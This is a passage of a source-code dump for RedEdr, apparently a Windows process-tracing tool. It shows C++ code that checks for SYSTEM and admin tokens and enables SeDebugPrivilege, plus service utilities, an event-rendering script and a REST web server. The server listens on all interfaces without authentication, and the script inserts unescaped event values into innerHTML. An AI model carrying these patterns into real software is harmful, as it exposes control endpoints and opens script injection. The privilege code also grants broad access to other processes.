(_tcscmp(sidString, _T(\"S-1-5-18\")) == 0); // SYSTEM SID: S-1-5-18\n    /*\n    if (isSystem) {\n        std::cout << \"The process is running as SYSTEM.\" << std::endl;\n    }\n    else {\n        std::cout << \"The process is NOT running as SYSTEM. SID: \" << sidString << std::endl;\n    }\n    */\n\n    // Cleanup\n    LocalFree(sidString);\n    free(pTokenUser);\n    CloseHandle(hToken);\n\n    return isSystem;\n}\n\n\nbool RunsAsAdmin() {\n    BOOL isAdmin = FALSE;\n    PSID adminGroup = nullptr;\n\n    SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY;\n    if (AllocateAndInitializeSid(&ntAuthority, 2,\n        SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,\n        0, 0, 0, 0, 0, 0, &adminGroup)) {\n\n        CheckTokenMembership(nullptr, adminGroup, &isAdmin);\n        FreeSid(adminGroup);\n    }\n\n    return isAdmin == TRUE;\n}\n\n\nvoid PrintCurrentUser() {\n    wchar_t name[256];\n    DWORD size = sizeof(name) / sizeof(wchar_t);\n    if (GetUserName(name, &size)) {\n        std::wcout << L\"User: \" << name << std::endl;\n    }\n}\n\n\nBOOL PermissionMakeMeDebug() {\n    HANDLE hToken;\n    TOKEN_PRIVILEGES tp;\n    LUID luid;\n\n    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {\n        printf(\"Permissions: OpenProcessToken failed. Error: %lu\\n\", GetLastError());\n        return FALSE;\n    }\n\n    // Debug too\n    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {\n        printf(\"Permissions: LookupPrivilegeValue failed. Error: %lu\\n\", GetLastError());\n        CloseHandle(hToken);\n        return FALSE;\n    }\n\n    tp.PrivilegeCount = 1;\n    tp.Privileges[0].Luid = luid;\n    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // Privileged!\n\n    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {\n        printf(\"Permissions: Could not apply specified privilege: PRIVILEGED\\n\");\n        CloseHandle(hToken);\n        return FALSE;\n    }\n\n    LOG_A(LOG_INFO, \"Permissions: Enabled PRIVILEGED & DEBUG\");\n    CloseHandle(hToken);\n    return TRUE;\n}"
  },
  {
    "path": "RedEdr/privileges.h",
    "content": "#pragma once\n#include <windows.h>\n\nbool GetUserTokenForExecution(HANDLE& hTokenDup);\nbool EnablePrivilege(HANDLE hToken, LPCWSTR privilege);\nbool CheckPrivilege(HANDLE hToken, LPCWSTR privilege);\nbool RunsAsSystem();\nbool RunsAsAdmin();\nBOOL RunsAsSystem_bak();\nBOOL PermissionMakeMeDebug();\n\n"
  },
  {
    "path": "RedEdr/serviceutils.cpp",
    "content": "#include <windows.h>\n#include <iostream>\n\n#include \"serviceutils.h\"\n#include \"logging.h\"\n\nBOOL DoesServiceExist(LPCWSTR serviceName) {\n    // Open the Service Control Manager\n    SC_HANDLE scmHandle = OpenSCManager(nullptr, nullptr, SC_MANAGER_CONNECT);\n    if (!scmHandle) {\n        LOG_W(LOG_ERROR, L\"Failed to open Service Control Manager. Error: %d\", GetLastError());\n        return FALSE;\n    }\n\n    // Try to open the service\n    SC_HANDLE serviceHandle = OpenService(scmHandle, serviceName, SERVICE_QUERY_STATUS);\n    if (serviceHandle) {\n        // The service exists, close handles and return true\n        CloseServiceHandle(serviceHandle);\n        CloseServiceHandle(scmHandle);\n        return TRUE;\n    }\n\n    // Check if the error is due to the service not existing\n    CloseServiceHandle(scmHandle);\n    return FALSE;\n}\n\n\n// https://gist.github.com/the-nose-knows/607dba810fa7fc1db761e4f0ad1fe464\nBOOL IsServiceRunning(LPCWSTR driverName) {\n\tSC_HANDLE scm = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);\n\tif (scm == NULL)\n\t\treturn false;\n\tLPCWSTR   lpServiceName = driverName;\n\n\tSC_HANDLE hService = OpenService(scm, lpServiceName, GENERIC_READ);\n\tif (hService == NULL)\n\t{\n\t\tCloseServiceHandle(scm);\n\t\treturn false;\n\t}\n\n\tSERVICE_STATUS status;\n\tLPSERVICE_STATUS pstatus = &status;\n\tif (QueryServiceStatus(hService, pstatus) == 0)\n\t{\n\t\tCloseServiceHandle(hService);\n\t\tCloseServiceHandle(scm);\n\t\treturn false;\n\t}\n\n\tCloseServiceHandle(hService);\n\tCloseServiceHandle(scm);\n\treturn (status.dwCurrentState == SERVICE_RUNNING) ? (true) : (false);\n}\n"
  },
  {
    "path": "RedEdr/serviceutils.h",
    "content": "#pragma once\n\nBOOL IsServiceRunning(LPCWSTR driverName);\nBOOL DoesServiceExist(LPCWSTR serviceName);\n"
  },
  {
    "path": "RedEdr/shared.js",
    "content": "\n// Function to display events in Tab 1\nfunction displayEvents(events) {\n    const eventContainer = document.getElementById('eventContainer');\n    eventContainer.innerHTML = ''; // Clear previous content\n\n    events.forEach(event => {\n        const eventDiv = document.createElement('div');\n        eventDiv.classList.add('event');\n\n        let eventTitle = '';\n        let eventHeader = '';\n        let eventDetails = '';\n        let eventLong = '';\n        let eventCallstack = '';\n        let etwti_startaddr = 0;\n        for ([key, value] of Object.entries(event)) {\n            if (typeof value === \"number\") {\n                value = myHex(value);\n            }\n\n            // header\n            if (key === 'etw_time' || key === 'etw_pid' || key === 'etw_process' || key === 'etw_tid' ||\n                key === 'etw_pid' || key === 'etw_event_id' ||\n                key === 'thread_id' || key === 'etw_provider_name'  || key === 'id' || key == 'trace_id'\n            ) {\n                eventHeader += `<span class=\"highlight_a\">${key}:${value}</span> `;\n            } else if (key === 'type' || key === 'func' || key === 'event' || key === 'task') {\n                eventTitle += `<span class=\"highlight_b\"><b>${value}</b></span> `;\n\n            // special for func == loaded_dll\n            } else if (key == 'dlls') {\n                eventDetails += JSON.stringify(value, null, 0);\n                \n            // callstack\n            } else if (key == 'callstack' || key == 'stack_trace') {\n                let x = '';\n                for ([key_c, value_c] of Object.entries(value)) {\n                    for ([key_d, value_d] of Object.entries(value_c)) {\n                        if (typeof value_d === \"number\") {\n                            value_d = myHex(value_d);\n                        }\n                        x += `${key_d}:${value_d} `;\n                    }\n                    x += \"<br>\";\n                }\n\n                //eventCallstack = '<span class=\"highlight_d\">callstack:<br>' + JSON.stringify(value, null, 0) + \"</span>\";\n                eventCallstack = '<span class=\"highlight_d\">callstack:<br>' + x + \"</span>\";\n            // important\n            } else if (key === 'addr') {\n                eventDetails += `<b>${key}:${value}</b> `;\n            } else if (key === 'protect') {\n                eventDetails += `<b>${key}:${value}</b> `;\n            } else if (key === 'handle' && value != \"FFFFFFFFFFFFFFFF\") {\n                eventDetails += `<b>${key}:${value}</b> `;\n\n            // long\n            } else if (key == 'name' || key == 'parent_name' ||\n                key == 'image_path' || key == 'commandline' ||\n                key == \"working_dir\") {\n                eventLong += `<span class=\"highlight_c\">${key}:${value}</span> <br>`;\n\n            // rest\n            } else {\n               // ignore some ETWTI fields for now\n               if (! key.startsWith(\"Calling\") && \n                   ! key.startsWith(\"Target\") && \n                   ! key.startsWith(\"Original\"))\n               {\n                   eventDetails += `<span class=\"highlight_c\">${key}:${value}</span> `;\n               }\n            }\n        }\n\n        eventDiv.innerHTML = eventTitle + eventHeader + \"<br>\"\n            + eventDetails + (eventDetails.length != 0 ? \"<br>\" : \"\")\n            + eventLong + eventCallstack\n\n        eventContainer.appendChild(eventDiv);\n    });\n}\n\nfunction myHex(num) {\n\tif (num == 0x10000000000000000) {\n\t\treturn \"-1\";\n\t}\n\treturn \"0x\" + num.toString(16).toUpperCase();\n}"
  },
  {
    "path": "RedEdr/webserver.cpp",
    "content": "#include <iostream>\n#include <vector>\n#include <atomic>\n#include <windows.h>\n\n#include \"httplib.h\" // Needs to be on top?\n\n#include \"event_aggregator.h\"\n#include \"config.h\"\n#include \"logging.h\"\n#include \"utils.h\"\n#include \"json.hpp\"\n#include \"webserver.h\"\n#include \"process_resolver.h\"\n#include \"manager.h\"\n#include \"event_processor.h\"\n#include \"etwreader.h\"\n\n#pragma comment(lib, \"wtsapi32.lib\")\n#pragma comment(lib, \"userenv.lib\")\n\n\n/* Webserver.cpp: Webserver with REST api to the whole thing\n *   UI to interact with rededr\n *   REST interface (e.g. for RedEdrUi)\n */\n\n\nusing json = nlohmann::json;\n\n\nHANDLE webserver_thread;\nHANDLE hStopEventWeb = NULL;  // signaled to request thread stop\nhttplib::Server svr;\nint webserver_port;\n\nstd::atomic<bool> in_use{false};\n\n\nstd::wstring StripToFirstDot(const std::wstring& input) {\n    size_t dot_position = input.find(L'.');\n    if (dot_position != std::wstring::npos) {\n        return input.substr(0, dot_position);\n    }\n    return input;\n}\n\n\nstd::vector<std::wstring> GetFilesInDirectory(const std::wstring& directory) {\n    std::vector<std::wstring> files;\n    WIN32_FIND_DATA findFileData;\n    HANDLE hFind = FindFirstFile(directory.c_str(), &findFileData);\n\n    if (hFind == INVALID_HANDLE_VALUE) {\n        // Can be empty, ignore\n        if (g_Config.debug) {\n            LOG_W(LOG_INFO, L\"No files found in %s\", directory.c_str());\n        }\n        return files;\n    }\n\n    do {\n        const std::wstring fileOrDir = findFileData.cFileName;\n        if (fileOrDir != L\".\" && fileOrDir != L\"..\") {\n            files.push_back(StripToFirstDot(fileOrDir));\n        }\n    } while (FindNextFile(hFind, &findFileData) != 0);\n\n    FindClose(hFind);\n    return files;\n}\n\n\nstd::string getRecordingsAsJson() {\n    try {\n        std::stringstream output;\n        output << \"[\";\n        std::vector<std::wstring> names = GetFilesInDirectory(L\"C:\\\\RedEdr\\\\Data\\\\*.events.json\");\n        for (auto it = names.begin(); it != names.end(); ++it) {\n            std::wstring name = *it;  // Create a proper lvalue for wstring2string\n            output << \"\\\"\" << wstring2string(name) << \".events.json\" << \"\\\"\";\n            if (std::next(it) != names.end()) {\n                output << \",\";  // Add comma only if it's not the last element\n            }\n        }\n        output << \"]\";\n        return output.str();\n    } catch (const std::exception& e) {\n        LOG_A(LOG_ERROR, \"Error in getRecordingsAsJson: %s\", e.what());\n        return \"[]\";  // Return empty array on error\n    }\n}\n\n\nstd::vector<std::string> GetPplLogs() {\n    std::vector<std::string> logs;\n    std::ifstream file(\"C:\\\\RedEdr\\\\pplservice.log\");\n    if (!file.is_open()) {\n        return logs;\n    }\n    std::string line;\n    while (std::getline(file, line)) {\n        if (!line.empty()) {\n            logs.push_back(line);\n        }\n    }\n    file.close();\n    return logs;\n}\n\nbool HasAllowedExtension(const std::string& filename, const std::vector<std::string>& extensions) {\n    for (const auto& ext : extensions) {\n        if (filename.length() >= ext.length() &&\n            filename.compare(filename.length() - ext.length(), ext.length(), ext) == 0) {\n            return true;\n        }\n    }\n    return false;\n}\n\nDWORD WINAPI WebserverThread(LPVOID param) {\n    // The UI\n    svr.Get(\"/\", [](const httplib::Request&, httplib::Response& res) {\n        try {\n            std::string indexhtml = read_file(\"C:\\\\RedEdr\\\\index.html\");\n            if (indexhtml.empty()) {\n                res.status = 404;\n                res.set_content(\"File not found\", \"text/plain\");\n                return;\n            }\n            res.set_content(indexhtml, \"text/html\");\n        } catch (const std::exception& e) {\n            LOG_A(LOG_ERROR, \"Error serving index.html: %s\", e.what());\n            res.status = 500;\n            res.set_content(\"Internal server error\", \"text/plain\");\n        }\n    });\n    svr.Get(\"/static/design.css\", [](const httplib::Request&, httplib::Response& res) {\n        try {\n            std::string indexhtml = read_file(\"C:\\\\RedEdr\\\\design.css\");\n            if (indexhtml.empty()) {\n                res.status = 404;\n                res.set_content(\"File not found\", \"text/plain\");\n                return;\n            }\n            res.set_content(indexhtml, \"text/css\");\n        } catch (const std::exception& e) {\n            LOG_A(LOG_ERROR, \"Error serving design.css: %s\", e.what());\n            res.status = 500;\n            res.set_content(\"Internal server error\", \"text/plain\");\n        }\n    });\n    svr.Get(\"/static/shared.js\", [](const httplib::Request&, httplib::Response& res) {\n        try {\n            std::string indexhtml = read_file(\"C:\\\\RedEdr\\\\shared.js\");\n            if (indexhtml.empty()) {\n                res.status = 404;\n                res.set_content(\"File not found\", \"text/plain\");\n                return;\n            }\n            res.set_content(indexhtml, \"text/javascript\");\n        } catch (const std::exception& e) {\n            LOG_A(LOG_ERROR, \"Error serving shared.js: %s\", e.what());\n            res.status = 500;\n            res.set_content(\"Internal server error\", \"text/plain\");\n        }\n    });\n    svr.Get(\"/api/save\", [](const httplib::Request&, httplib::Response& res) {\n        g_EventProcessor.SaveToFile();\n    });\n    svr.Get(\"/api/stats\", [](const httplib::Request&, httplib::Response& res) {\n        nlohmann::json stats = {\n            {\"events_count\", g_EventAggregator.GetCount()},\n            {\"num_kernel\", g_EventProcessor.num_kernel},\n            {\"num_etw\", g_EventProcessor.num_etw},\n            {\"num_etwti\", g_EventProcessor.num_etwti},\n            {\"num_dll\", g_EventProcessor.num_dll},\n            {\"num_process_cache\", g_ProcessResolver.GetCacheCount()}\n        };\n        res.set_content(stats.dump(), \"application/json; charset=UTF-8\");\n    });\n\n    // Provide Logs\n    svr.Get(\"/api/logs/rededr\", [](const httplib::Request&, httplib::Response& res) {\n        // Arry of Dicts\n        // Like:\n        /*\n            [\n                { \"date\":\"2025-07-20-10-36-24\",\n                  \"do_etw\":false,\n                  \"do_etwti\":false,\n                  \"do_hook\":false,\n                  \"do_hook_callstack\": true,\n                  \"func\":\"init\",\n                  \"target\":\"otepad\",\n                  \"trace_id\":41,\n                  \"type\":\"meta\",\n                  \"version\":\"0.4\"\n                }, \n                ...\n            ]\n        */\n        try {\n            res.set_content(g_EventProcessor.GetAllAsJson(), \"application/json\");\n        } catch (const std::exception& e) {\n            LOG_A(LOG_ERROR, \"Error getting events: %s\", e.what());\n            res.status = 500;\n            json error_response = {\n                { \"status\", \"error\" },\n                { \"message\", \"Internal server error\" }\n            };\n            res.set_content(error_response.dump(), \"application/json\");\n        }\n    });\n    svr.Get(\"/api/logs/agent\", [](const httplib::Request& req, httplib::Response& res) {\n        // Array of Strings\n        // Like. \n        /* \n           [ \n            \"RedEdr 0.4\",\n            \"Config: tracing otepad\",\n            \"Permissions: Enabled PRIVILEGED & DEBUG\",\n            ]\n        */\n        std::vector agentLogs = GetAgentLogs(); // List of srings\n        std::vector pplLogs = GetPplLogs();\n\n\t\t// return both logs in a single array\n\t\tjson response = json::array();\n\t\tfor (const auto& log : agentLogs) {\n\t\t\tresponse.push_back(log);\n\t\t}\n\t\tfor (const auto& log : pplLogs) {\n\t\t\tresponse.push_back(log);\n\t\t}\n        res.set_content(response.dump(), \"application/json\");\n    });\n\n    // Functions\n    svr.Get(\"/api/trace/info\", [](const httplib::Request& req, httplib::Response& res) {\n        json response = { {\"trace\", g_Config.targetProcessNames } };\n        res.set_content(response.dump(), \"application/json\");\n    });\n    svr.Post(\"/api/trace/start\", [](const httplib::Request& req, httplib::Response& res) {\n        try {\n            auto data = json::parse(req.body);\n            if (data.contains(\"trace\")) {\n                if (! data[\"trace\"].is_array()) {\n                    LOG_A(LOG_ERROR, \"Trace start: Targets should be an array, but is %s\", data[\"trace\"]);\n                    json error_response = { {\"error\", \"trace should be an array\"} };\n                    res.status = 400;\n                    res.set_content(error_response.dump(), \"application/json\");\n                }\n                std::vector<std::string> traceNames = data[\"trace\"].get<std::vector<std::string>>();\n                if (!ManagerApplyNewTargets(traceNames)) {\n                    LOG_A(LOG_ERROR, \"Trace start: Failed to apply new targets\");\n                    json error_response = { {\"error\", \"Failed to apply new targets\"} };\n                    res.status = 500;\n                    res.set_content(error_response.dump(), \"application/json\");\n\t\t\t\t\treturn;\n                }\n                trace_in_progress(true);\n                json response = { {\"result\", \"ok\"} };\n                res.set_content(response.dump(), \"application/json\");\n            }\n            else {\n                json error_response = { {\"error\", \"No 'trace' key provided\"} };\n                res.status = 400;\n                res.set_content(error_response.dump(), \"application/json\");\n            }\n        }\n        catch (const json::parse_error& e) {\n            json error_response = { {\"error\", \"Invalid JSON data: \" + std::string(e.what())} };\n            res.status = 400;\n            res.set_content(error_response.dump(), \"application/json\");\n        }\n    });\n    svr.Post(\"/api/trace/reset\", [](const httplib::Request&, httplib::Response& res) {\n        trace_in_progress(false);\n        g_EventAggregator.ResetData();\n        g_EventProcessor.ResetData();\n    });\n    svr.Post(\"/api/trace/stop\", [](const httplib::Request&, httplib::Response& res) {\n        trace_in_progress(false);\n    });\n\n    // Lock management endpoints\n    svr.Post(\"/api/lock/acquire\", [](const httplib::Request&, httplib::Response& res) {\n        bool expected = false;\n        if (!in_use.compare_exchange_strong(expected, true)) {\n            res.status = 409; // Conflict\n            json error_response = {\n                { \"status\", \"error\" },\n                { \"message\", \"Resource is already in use\" },\n            };\n            res.set_content(error_response.dump(), \"application/json\");\n        }\n        // else: successfully acquired, returns 200 OK\n    });\n    svr.Post(\"/api/lock/release\", [](const httplib::Request&, httplib::Response& res) {\n        if (! in_use) {\n            // We dont really care\n            LOG_A(LOG_INFO, \"Release lock even tho it was not aquired\");\n        }\n        in_use = false;\n        // Returns 200 OK\n    });\n    svr.Get(\"/api/lock/status\", [](const httplib::Request&, httplib::Response& res) {\n        json response = {\n            { \"in_use\", in_use.load() } // .load() because JSON doesnt understand bool\n        };\n        res.set_content(response.dump(), \"application/json\");\n    });\n\n\n    LOG_A(LOG_INFO, \"WEB: Web Server listening on http://0.0.0.0:%i\", webserver_port);\n    \n    bool listen_result = false;\n    try {\n        listen_result = svr.listen(\"0.0.0.0\", webserver_port);\n    } catch (const std::exception& e) {\n        LOG_A(LOG_ERROR, \"WEB: Server listen failed: %s\", e.what());\n    } catch (...) {\n        LOG_A(LOG_ERROR, \"WEB: Server listen failed with unknown exception\");\n    }\n    \n    if (!listen_result) {\n        LOG_A(LOG_INFO, \"WEB: Server listen returned false (normal during shutdown)\");\n    }\n    \n    LOG_A(LOG_DEBUG, \"!WEB: Thread finished\");\n    return 0;\n}\n\n\nint InitializeWebServer(std::vector<HANDLE>& threads, int port) {\n    webserver_port = port;\n    hStopEventWeb = CreateEvent(NULL, TRUE, FALSE, NULL);\n    if (hStopEventWeb == NULL) {\n        LOG_A(LOG_ERROR, \"WEB: Failed to create stop event\");\n        return 1;\n    }\n    webserver_thread = CreateThread(NULL, 0, WebserverThread, NULL, 0, NULL);\n    if (webserver_thread == NULL) {\n        LOG_A(LOG_ERROR, \"WEB: Failed to create thread for webserver\");\n        CloseHandle(hStopEventWeb);\n        hStopEventWeb = NULL;\n        return 1;\n    }\n    LOG_A(LOG_DEBUG, \"!Web: Thread started\");\n    threads.push_back(webserver_thread);\n    return 0;\n}\n\n\nvoid StopWebServer() {\n    // Signal stop\n    if (hStopEventWeb != NULL) {\n        SetEvent(hStopEventWeb);\n    }\n\n    svr.stop();\n\n    // Wait for thread to exit cleanly\n    if (webserver_thread != NULL) {\n        if (WaitForSingleObject(webserver_thread, 5000) == WAIT_TIMEOUT) {\n            LOG_A(LOG_WARNING, \"WEB: Thread did not exit in time, force-terminating\");\n            TerminateThread(webserver_thread, 1);\n        }\n        // handle ownership stays with the threads vector; do not close here\n    }\n\n    if (hStopEventWeb != NULL) {\n        CloseHandle(hStopEventWeb);\n        hStopEventWeb = NULL;\n    }\n}\n\n"
  },
  {
    "path": "RedEdr/webserver.h",
    "content": "#pragma once\n\n#include <Windows.h>\n#include <vector>\n\nDWORD WINAPI WebserverThread(LPVOID param);\nint InitializeWebServer(std::vector<HANDLE>& threads, int port);\nvoid StopWebServer();\n"
  },
  {
    "path": "RedEdr.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio Version 17\nVisualStudioVersion = 17.5.33530.505\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"RedEdr\", \"RedEdr\\RedEdr.vcxproj\", \"{D4AB9B77-7A7B-45E8-8BDC-AC958EDB1372}\"\nEndProject\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"RedEdrDll\", \"RedEdrDll\\RedEdrDll.vcxproj\", \"{1DDD15AA-D837-4143-A272-0E08F9ED6C40}\"\nEndProject\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"RedEdrDriver\", \"RedEdrDriver\\RedEdrDriver.vcxproj\", \"{F4BE109F-BB71-4F11-B265-686F0102CFE5}\"\nEndProject\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"RedEdrPplService\", \"RedEdrPplService\\RedEdrPplService.vcxproj\", \"{F9D83EE0-D3EB-4C01-8F3C-BB8167D3C752}\"\nEndProject\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"elam_driver\", \"elam_driver\\elam_driver.vcxproj\", \"{D246CB84-E7A9-4CCF-A32C-EEB23910D7BD}\"\nEndProject\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"RedEdrShared\", \"RedEdrShared\\RedEdrShared.vcxproj\", \"{7F48FA73-B6A6-4725-BF99-835F2C0E2405}\"\nEndProject\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"UnitTests\", \"UnitTests\\UnitTests.vcxproj\", \"{03C805F3-51C4-4EF4-BA8A-B7B339C11BA2}\"\nEndProject\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"RedEdrTester\", \"RedEdrTester\\RedEdrTester.vcxproj\", \"{0E6DC31B-3262-49C0-92A2-43651FB44308}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Any CPU = Debug|Any CPU\n\t\tDebug|ARM64 = Debug|ARM64\n\t\tDebug|x64 = Debug|x64\n\t\tDebug|x86 = Debug|x86\n\t\tRelease|Any CPU = Release|Any CPU\n\t\tRelease|ARM64 = Release|ARM64\n\t\tRelease|x64 = Release|x64\n\t\tRelease|x86 = Release|x86\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{D4AB9B77-7A7B-45E8-8BDC-AC958EDB1372}.Debug|Any CPU.ActiveCfg = Debug|x64\n\t\t{D4AB9B77-7A7B-45E8-8BDC-AC958EDB1372}.Debug|Any CPU.Build.0 = Debug|x64\n\t\t{D4AB9B77-7A7B-45E8-8BDC-AC958EDB1372}.Debug|ARM64.ActiveCfg = Debug|x64\n\t\t{D4AB9B77-7A7B-45E8-8BDC-AC958EDB1372}.Debug|ARM64.Build.0 = Debug|x64\n\t\t{D4AB9B77-7A7B-45E8-8BDC-AC958EDB1372}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{D4AB9B77-7A7B-45E8-8BDC-AC958EDB1372}.Debug|x64.Build.0 = Debug|x64\n\t\t{D4AB9B77-7A7B-45E8-8BDC-AC958EDB1372}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{D4AB9B77-7A7B-45E8-8BDC-AC958EDB1372}.Debug|x86.Build.0 = Debug|Win32\n\t\t{D4AB9B77-7A7B-45E8-8BDC-AC958EDB1372}.Release|Any CPU.ActiveCfg = Release|x64\n\t\t{D4AB9B77-7A7B-45E8-8BDC-AC958EDB1372}.Release|Any CPU.Build.0 = Release|x64\n\t\t{D4AB9B77-7A7B-45E8-8BDC-AC958EDB1372}.Release|ARM64.ActiveCfg = Release|x64\n\t\t{D4AB9B77-7A7B-45E8-8BDC-AC958EDB1372}.Release|ARM64.Build.0 = Release|x64\n\t\t{D4AB9B77-7A7B-45E8-8BDC-AC958EDB1372}.Release|x64.ActiveCfg = Release|x64\n\t\t{D4AB9B77-7A7B-45E8-8BDC-AC958EDB1372}.Release|x64.Build.0 = Release|x64\n\t\t{D4AB9B77-7A7B-45E8-8BDC-AC958EDB1372}.Release|x86.ActiveCfg = Release|Win32\n\t\t{D4AB9B77-7A7B-45E8-8BDC-AC958EDB1372}.Release|x86.Build.0 = Release|Win32\n\t\t{1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Debug|Any CPU.ActiveCfg = Debug|x64\n\t\t{1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Debug|Any CPU.Build.0 = Debug|x64\n\t\t{1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Debug|ARM64.ActiveCfg = Debug|x64\n\t\t{1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Debug|ARM64.Build.0 = Debug|x64\n\t\t{1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Debug|x64.Build.0 = Debug|x64\n\t\t{1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Debug|x86.Build.0 = Debug|Win32\n\t\t{1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Release|Any CPU.ActiveCfg = Release|x64\n\t\t{1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Release|Any CPU.Build.0 = Release|x64\n\t\t{1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Release|ARM64.ActiveCfg = Release|x64\n\t\t{1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Release|ARM64.Build.0 = Release|x64\n\t\t{1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Release|x64.ActiveCfg = Release|x64\n\t\t{1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Release|x64.Build.0 = Release|x64\n\t\t{1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Release|x86.ActiveCfg = Release|Win32\n\t\t{1DDD15AA-D837-4143-A272-0E08F9ED6C40}.Release|x86.Build.0 = Release|Win32\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Debug|Any CPU.ActiveCfg = Debug|x64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Debug|Any CPU.Build.0 = Debug|x64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Debug|Any CPU.Deploy.0 = Debug|x64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Debug|ARM64.ActiveCfg = Debug|ARM64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Debug|ARM64.Build.0 = Debug|ARM64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Debug|ARM64.Deploy.0 = Debug|ARM64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Debug|x64.Build.0 = Debug|x64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Debug|x64.Deploy.0 = Debug|x64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Debug|x86.ActiveCfg = Debug|x64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Debug|x86.Build.0 = Debug|x64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Debug|x86.Deploy.0 = Debug|x64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Release|Any CPU.ActiveCfg = Release|x64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Release|Any CPU.Build.0 = Release|x64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Release|Any CPU.Deploy.0 = Release|x64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Release|ARM64.ActiveCfg = Release|ARM64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Release|ARM64.Build.0 = Release|ARM64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Release|ARM64.Deploy.0 = Release|ARM64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Release|x64.ActiveCfg = Release|x64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Release|x64.Build.0 = Release|x64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Release|x64.Deploy.0 = Release|x64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Release|x86.ActiveCfg = Release|x64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Release|x86.Build.0 = Release|x64\n\t\t{F4BE109F-BB71-4F11-B265-686F0102CFE5}.Release|x86.Deploy.0 = Release|x64\n\t\t{F9D83EE0-D3EB-4C01-8F3C-BB8167D3C752}.Debug|Any CPU.ActiveCfg = Debug|x64\n\t\t{F9D83EE0-D3EB-4C01-8F3C-BB8167D3C752}.Debug|Any CPU.Build.0 = Debug|x64\n\t\t{F9D83EE0-D3EB-4C01-8F3C-BB8167D3C752}.Debug|ARM64.ActiveCfg = Debug|x64\n\t\t{F9D83EE0-D3EB-4C01-8F3C-BB8167D3C752}.Debug|ARM64.Build.0 = Debug|x64\n\t\t{F9D83EE0-D3EB-4C01-8F3C-BB8167D3C752}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{F9D83EE0-D3EB-4C01-8F3C-BB8167D3C752}.Debug|x64.Build.0 = Debug|x64\n\t\t{F9D83EE0-D3EB-4C01-8F3C-BB8167D3C752}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{F9D83EE0-D3EB-4C01-8F3C-BB8167D3C752}.Debug|x86.Build.0 = Debug|Win32\n\t\t{F9D83EE0-D3EB-4C01-8F3C-BB8167D3C752}.Release|Any CPU.ActiveCfg = Release|x64\n\t\t{F9D83EE0-D3EB-4C01-8F3C-BB8167D3C752}.Release|Any CPU.Build.0 = Release|x64\n\t\t{F9D83EE0-D3EB-4C01-8F3C-BB8167D3C752}.Release|ARM64.ActiveCfg = 